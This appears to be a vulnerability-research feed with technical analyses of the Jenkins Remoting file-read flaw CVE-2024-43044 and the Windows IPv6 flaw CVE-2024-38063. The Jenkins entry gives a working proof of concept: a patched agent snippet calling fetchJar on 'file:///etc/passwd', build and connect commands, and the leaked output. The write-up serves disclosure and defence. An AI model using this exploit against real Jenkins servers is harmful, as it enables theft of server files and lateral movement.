Activity Feed
- Government or Industry Alert (https://cisa.gov/news-events/alerts/2024/08/21/cisa-adds-four-known-exploited-vulnerabilities-catalog)
- Government or Industry Alert (https://www.cisa.gov/news-events/alerts/2024/08/21/cisa-adds-four-known-exploited-vulnerabilities-catalog)
- Government or Industry Alert (https://www.cisa.gov/news-events/alerts/2024/08/21/cisa-adds-four-known-exploited-vulnerabilities-catalog)
- Government or Industry Alert (https://www.cisa.gov/news-events/alerts/2024/08/21/cisa-adds-four-known-exploited-vulnerabilities-catalog)
Technical Analysis
CVE-2024-43044 is an arbitrary file read vulnerability in Jenkins Automation Server, and it’s exploitable via Jenkins Remoting. This Remoting component operates as the client running on worker machines, and it’s used by worker agents to connect to the central Jenkins controller and execute assigned distributed workload tasks. Based on the advisory details, a worker agent client can abuse a feature intended to read classes from the Jenkins server to read arbitrary files from the server instead.
The initial advisory for the vulnerability classifies the severity as “Critical” and indicates that no authentication is required for exploitation. However, all other materials published, including the CVSS strings associated with the CVE, state that low privileges are required for exploitation. These materials also show a different severity score of “High”. Based on our analysis, unless the default agent authentication has been manually disabled, the typical vulnerable configuration will require low privileges to exploit.
Vulnerable Instances
Worker agents must exist and their credentials must be compromised for exploitation to occur. Though an out-of-the-box Jenkins instance on an affected version is not vulnerable, setting up worker agents is a very common configuration in enterprise environments. Per the advisory, most versions of Jenkins Remoting 3256.v88a_f6e922152 and earlier include code that can be used for local file disclosure. The advisory states that the vulnerable code is included in Jenkins 2.470 and earlier, as well as Jenkins LTS 2.452.3 and earlier.
A vulnerable v2.470 copy of Jenkins is available here.
Our affected Jenkins instance was configured to be exploitable by performing the following steps:
- Login as an administrator.
- Navigate to
Manage Jenkins
>Nodes
and create a new Agent node. Copy the displayed connection secrets for later reference.
- Navigate to
Manage Jenkins
>Security
and enable a TCP port for inbound agents (either “Random” or “Fixed”).
Exploitation
The advisory states that “calls to Channel#preloadJar result in the retrieval of files from the controller by the agent using ClassLoaderProxy#fetchJar.” To explore this further, we’ll look at that area of the code base for the Remoting library.
Within RemoteClassLoader.java
, ClassLoaderProxy
contains fetchJar
. It takes one parameter of type URL
. Interestingly, this function has an existing FindBugs SSRF warning exception, indicating it had previously been flagged by security static analysis tooling.
@Override @SuppressFBWarnings( value = "URLCONNECTION_SSRF_FD", justification = "This is only used for managing the jar cache as files.") public byte[] fetchJar(URL url) throws IOException { return Util.readFully(url.openStream()); }
In Util.java
, the readFully
function used by fetchJar
reads an InputStream
and returns the resulting ByteArrayOutputStream
.
static byte[] readFully(InputStream in) throws IOException { // TODO perhaps replace by in.readAllBytes() after checking close behavior ByteArrayOutputStream baos = new ByteArrayOutputStream(); copy(in, baos); return baos.toByteArray(); }
We know that a URL
type is being used by fetchJar
, and the URL
type typically supports the file
protocol scheme. Since the intended impact is local file disclosure, we’ll likely need to supply a URL
string like “file:///etc/passwd”.
To better understand the intended calling context for fetchJar
, we can reference prefetch
in RemoteClassLoader.java
. At [0]
, we see proxy
from RemoteClassLoader
used to call fetchJar
with a file path as the parameter.
/*package*/ boolean prefetch(URL jar) throws IOException { synchronized (prefetchedJars) { if (prefetchedJars.contains(jar)) { return false; } String p = jar.getPath().replace('\\', '/'); p = Util.getBaseName(p); File localJar = Util.makeResource(p, proxy.fetchJar(jar)); // [0] addURL(localJar.toURI().toURL()); prefetchedJars.add(jar); return true; } }
As such, we’ll need to mimic this by inserting a malicious call to fetchJar
after an instance of RemoteClassLoader
is created. We’ll also have to do this where an existing proxy
is available to call fetchJar
with. The code that initializes a new RemoteClassLoader
satisfies both criteria.
private RemoteClassLoader(String name, @CheckForNull ClassLoader parent, @NonNull IClassLoader proxy) { super(name, new URL[0], parent); final Channel channel = RemoteInvocationHandler.unwrap(proxy); this.channel = channel == null ? null : channel.ref(); this.underlyingProxy = proxy; if (channel == null || !channel.remoteCapability.supportsPrefetch() || channel.getJarCache() == null) { proxy = new DumbClassLoaderBridge(proxy); } this.proxy = proxy; }
We’ll also need to ensure the authentication flow is complete, since the file will be read from the controller over the authenticated channel. Setting a breakpoint in the RemoteClassLoader
code and connecting an agent results in the breakpoint hitting after the authentication flow is complete. Adding a call to fetchJar
there should trigger the vulnerability.
We can test this by appending the following snippet to the above code.
try { URL targ = new URL("file:///etc/passwd"); byte[] outb = this.proxy.fetchJar(targ); String outs = new String(outb, StandardCharsets.UTF_8); System.out.println(outs); } catch (MalformedURLException e) { System.out.println("Malformed URL except"); } catch (IOException e) { System.out.println("IO except - file may not exist"); }
Next, we can quickly compile an agent.jar
artifact using mvn clean install -Dmaven.test.skip=true -Denforcer.skip=true
. With that in hand, we’ll connect using the Agent connection secret and attempt to leak the /etc/passwd
file from the Jenkins controller host.
$ java -jar target/remoting-999999-SNAPSHOT.jar -url http://192.168.55.129:8080/ -secret 53fa0cdd4d072027a90e98a15b25a95e836444a466c6ad4a38c1fb0c7914bf68 -name agent0 -workDir "/home/jenkins" Aug 21, 2024 11:23:44 AM org.jenkinsci.remoting.engine.WorkDirManager initializeWorkDir INFO: Using /home/jenkins/remoting as a remoting work directory Aug 21, 2024 11:23:44 AM org.jenkinsci.remoting.engine.WorkDirManager setupLogging INFO: Both error and output logs will be printed to /home/jenkins/remoting Aug 21, 2024 11:23:44 AM hudson.remoting.Launcher createEngine INFO: Setting up agent: agent0 Aug 21, 2024 11:23:44 AM hudson.remoting.Engine startEngine INFO: Using Remoting version: 999999-SNAPSHOT (private-08/21/2024 00:23 GMT-test-r7) Aug 21, 2024 11:23:44 AM org.jenkinsci.remoting.engine.WorkDirManager initializeWorkDir INFO: Using /home/jenkins/remoting as a remoting work directory Aug 21, 2024 11:23:44 AM hudson.remoting.Launcher$CuiListener status INFO: Locating server among [http://192.168.55.129:8080/] Aug 21, 2024 11:23:44 AM org.jenkinsci.remoting.engine.JnlpAgentEndpointResolver resolve INFO: Remoting server accepts the following protocols: [JNLP4-connect, Ping] Aug 21, 2024 11:23:44 AM hudson.remoting.Launcher$CuiListener status INFO: Agent discovery successful Agent address: 192.168.55.129 Agent port: 41863 Identity: c2:97:41:53:56:7c:6f:75:61:de:07:c7:fa:80:1f:57 Aug 21, 2024 11:23:44 AM hudson.remoting.Launcher$CuiListener status INFO: Handshaking Aug 21, 2024 11:23:44 AM hudson.remoting.Launcher$CuiListener status INFO: Connecting to 192.168.55.129:41863 Aug 21, 2024 11:23:44 AM hudson.remoting.Launcher$CuiListener status INFO: Server reports protocol JNLP4-connect-proxy not supported, skipping Aug 21, 2024 11:23:44 AM hudson.remoting.Launcher$CuiListener status INFO: Trying protocol: JNLP4-connect Aug 21, 2024 11:23:44 AM org.jenkinsci.remoting.protocol.impl.BIONetworkLayer$Reader run INFO: Waiting for ProtocolStack to start. Aug 21, 2024 11:23:44 AM hudson.remoting.Launcher$CuiListener status INFO: Remote identity confirmed: c2:97:41:53:56:7c:6f:75:61:de:07:c7:fa:80:1f:57 Aug 21, 2024 11:23:45 AM hudson.remoting.Launcher$CuiListener status INFO: Connected root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin [..SNIP..]
The arbitrary file read succeeds and /etc/passwd
is returned to the attacker.
Summary
CVE-2024-43044 is a local file disclosure bug, and the vulnerability seems to be authenticated in most scenarios. Based on this analysis, in order to exploit a typical vulnerable server, an attacker would need to acquire a Jenkins agent secret. This secret could be acquired by compromising a Jenkins agent system, a developer computer, or a secrets manager system. With that secret, and with network access to the Jenkins controller server, the attacker can craft an agent client JAR file that will authenticate and read arbitrary files from the server.
With the above in mind, CVE-2024-43044 seems most likely to be exploited for lateral movement, rather than facilitating initial access. However, due to the high-severity context, anyone running an affected version of Jenkins should urgently update their controller server. If updating instances is not immediately feasible, the Jenkins team has provided a lighter workaround patch to fix the vulnerability.
- Government or Industry Alert (https://www.cisa.gov/news-events/alerts/2024/08/19/cisa-adds-one-known-exploited-vulnerability-catalog)
Technical Analysis
As a quick addendum to @sfewer-r7’s excellent assessment, I’ve seen this vulnerability compared with CVE-2020-16898 in a few news articles, alongside the dreaded “w” word (“wormable”). Notably, that older bug never got exploited broadly — in fact, I still haven’t seen any good technical evidence that it was exploited at all.
There’s no guarantee this new vuln will follow that same trajectory, but if it actually gets used in the wild, I’d expect it to be used in highly targeted attacks by skilled adversaries (personally, my money’s on Chinese state-sponsored threat actors).
Technical Analysis
On August 13, 2024, Microsoft disclosed CVE-2024-38063, an integer underflow vulnerability (CWE-191) affecting the IPv6 component of the Windows TCP/IP networking stack.
The affected Windows versions are summarized below (For a detailed list see the Microsoft advisory):
- Windows 11
- Windows 10
- Windows Server 2022
- Windows Server 2019
- Windows Server 2016
- Windows Server 2012
- Windows Server 2008
We can see that this vulnerability affects a broad number of Windows systems, including all recent major versions and several older versions, dating back to Server 2008.
The vulnerability has been given a critical severity rating by Microsoft, with an accompanying CVSS score of 9.8. This score rates the vulnerability as both unauthenticated, and having low attacker complexity. Such a score indicates that this vulnerability may be a viable candidate for a remote code execution exploit. The low attacker complexity rating is likely an indication as to the ease in triggering the vulnerability, and not actually successfully exploiting the vulnerability to achieve RCE. Given that modern Windows kernels employ numerous memory corruption mitigations (such as Kernel ASLR, and Kernel CFG), and hardening techniques (such as PatchGuard and HyperGuard), actually building a reliable remote code execution exploit is likely difficult. It is worth noting that on older affected systems, like Server 2008, exploitation may be easier.
If we diff the patched tcpip.sys
driver against an older, unpatched copy of the driver, we can see that the function tcpip!Ipv6pProcessOptions
has been modified slightly. While it is currently unclear as to the root cause of the vulnerability based on this changed function, as there are no other notable changes in the tcpip.sys
driver, it is likely that IPv6 options processing is at play.
Given what we currently know about the vulnerability, I have given this an attacker value rating of very high, as a potential unauthenticated RCE in a default installation of Windows is a high value exploit for an attacker. However, given the likely complexity in building a successful RCE exploit targeting the broad gambit of affected Windows versions, I have given the exploitability rating as low.
The best protection at this time is to apply the official patch from Microsoft. If this is not possible, disabling IPv6 on the network adapter is the next best mitigation. Organizations can also evaluate if ingress IPv6 traffic is necessary on their networks.
- Government or Industry Alert (https://www.cisa.gov/news-events/alerts/2024/08/13/cisa-adds-six-known-exploited-vulnerabilities-catalog)
- Government or Industry Alert (https://www.cisa.gov/news-events/alerts/2024/08/13/cisa-adds-six-known-exploited-vulnerabilities-catalog)